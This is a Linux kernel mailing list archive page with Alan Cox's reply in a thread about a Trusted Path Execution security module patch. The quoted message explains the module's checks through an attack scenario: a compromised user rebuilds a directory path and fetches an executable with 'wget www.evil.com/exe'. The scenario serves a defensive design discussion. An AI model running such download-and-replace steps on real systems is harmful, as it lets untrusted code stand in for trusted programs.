From: Alan Cox <gnomes@lxorguk.ukuu.org.uk>
To: Matt Brown <matt@nmatt.com>
Cc: james.l.morris@oracle.com, serge@hallyn.com,
linux-kernel@vger.kernel.org,
linux-security-module@vger.kernel.org,
kernel-hardening@lists.openwall.com
Subject: Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM
Date: Thu, 8 Jun 2017 20:23:31 +0100 [thread overview]
Message-ID: <20170608202331.285c4a8b@lxorguk.ukuu.org.uk> (raw)
In-Reply-To: <3f9e53a8-87d2-9773-d30b-64b89da8f3ff@nmatt.com>
> So actually in this LSM it's not so much full paths that are trusted,
> rather it checks that the directory containing the program is only
> writable by root and that the program itself is only writable by root.
>
> For example, consider the following:
>
> /user/ with permissions drwxr-xr-x user user
> /user/user-owned/ with permissions drwxr-xr-x user user
> /user/user-owned/root-owned/ with permissions drwxr-xr-x root root
> /user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root
>
> currently /user/user-owned/root-owned/exe is trusted because it can only
> be written to by root, and the directory it is in can only be written by
> root.
>
> but then user becomes compromised and does the following:
> cd /user/
> mv user-owned user-owned-back
> mkdir -p user-owned/root-owned
> cd user-owned/root-owned
> wget www.evil.com/exe
>
> Now /user/user-owned/root-owned/exe is untrusted and its execution will
> be denied unless you put user in the trusted group.
I can cause a lot of mischief just by renaming commands (mv cp rm
does't work on must implementations) but yes the root directory check
itself should avoid that you are correct.
next prev parent reply other threads:[~2017-06-08 19:23 UTC|newest]
Thread overview: 17+ messages / expand[flat|nested] mbox.gz Atom feed top
2017-06-08 3:43 [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM Matt Brown
2017-06-08 3:43 ` [PATCH v2 1/1] " Matt Brown
2017-06-09 2:38 ` Kees Cook
2017-06-09 3:50 ` Matt Brown
2017-06-09 10:18 ` Mimi Zohar
2017-06-09 12:55 ` Kees Cook
2017-06-09 13:15 ` Matt Brown
2017-06-09 13:16 ` Mimi Zohar
2017-06-09 13:18 ` [kernel-hardening] " Matt Brown
2017-06-09 13:44 ` Mimi Zohar
2017-06-16 2:25 ` kbuild test robot
2017-06-16 2:25 ` [RFC PATCH] print_tpe_error() can be static kbuild test robot
2017-06-08 18:37 ` [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM Alan Cox
2017-06-08 19:01 ` Matt Brown
2017-06-08 19:23 ` Alan Cox [this message]
2017-06-11 11:30 ` Mickaël Salaün
2017-06-12 0:04 ` Matt Brown
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20170608202331.285c4a8b@lxorguk.ukuu.org.uk \
--to=gnomes@lxorguk.ukuu.org.uk \
--cc=james.l.morris@oracle.com \
--cc=kernel-hardening@lists.openwall.com \
--cc=linux-kernel@vger.kernel.org \
--cc=linux-security-module@vger.kernel.org \
--cc=matt@nmatt.com \
--cc=serge@hallyn.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).